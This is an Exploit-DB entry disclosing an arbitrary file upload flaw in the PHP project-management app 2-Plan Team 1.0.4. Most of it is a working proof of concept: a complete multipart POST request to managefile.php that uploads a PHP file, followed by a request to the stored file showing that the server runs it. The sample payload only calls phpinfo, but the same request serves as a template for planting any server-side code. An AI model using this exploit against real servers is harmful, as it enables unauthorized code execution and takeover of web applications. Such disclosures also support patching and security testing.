2-Plan Team 1.0.4 - Arbitrary File Upload

EDB-ID:
45878

CVE:
N/A

EDB Verified: ×

Author:
IHSAN SENCAN

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2018-11-15

Vulnerable App:

```
# Exploit Title: 2-Plan Team 1.0.4 - Arbitrary File Upload
# Dork: N/A
# Date: 2018-11-15
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://2-plan.com/
# Software Link: https://datapacket.dl.sourceforge.net/project/to-plan-
team/1.1.0/2-plan-team.tgz
# Version: 1.0.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# Users..
# http://localhost/[PATH]/managefile.php?action=upload&id=1
#

POST /[PATH]/managefile.php?action=upload&id=1 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/[PATH]/managefile.php?
action=showproject&id=1&mode=added
Cookie: PHPSESSID=2e9jrile8jqaqe9q1acs4i30j6
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------
100912087957152390618511454 40
Content-Length: 1192
-----------------------------100912087957152390618511454 40
Content-Disposition: form-data; name="numfiles"
1
-----------------------------100912087957152390618511454 40
Content-Disposition: form-data; name="upfolder"
-----------------------------100912087957152390618511454 40
Content-Disposition: form-data; name="userfile1-title"
-----------------------------100912087957152390618511454 40
Content-Disposition: form-data; name="userfile1"; filename="phpinfo.php"
Content-Type: application/force-download
<?php
phpinfo();
?>
-----------------------------100912087957152390618511454 40
Content-Disposition: form-data; name="userfile1"
phpinfo.php
-----------------------------100912087957152390618511454 40
Content-Disposition: form-data; name="userfile1-tags"
-----------------------------100912087957152390618511454 40
Content-Disposition: form-data; name="desc"
-----------------------------100912087957152390618511454 40
Content-Disposition: form-data; name="visible[]"
-----------------------------100912087957152390618511454 40
Content-Disposition: form-data; name="sendto[]"
all
-----------------------------100912087957152390618511454 40--
HTTP/1.1 302 Found
Date: Wed, 14 Nov 2018 23:41:03 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-
check=0
Pragma: no-cache
Vary: Accept-Encoding
```

```
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked

GET /[PATH]/files/standard/ef/1/phpinfo_3978873.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=2e9jrile8jqaqe9q1acs4i30j6
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 23:41:07 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
```

Tags:

Advisory/Source: Link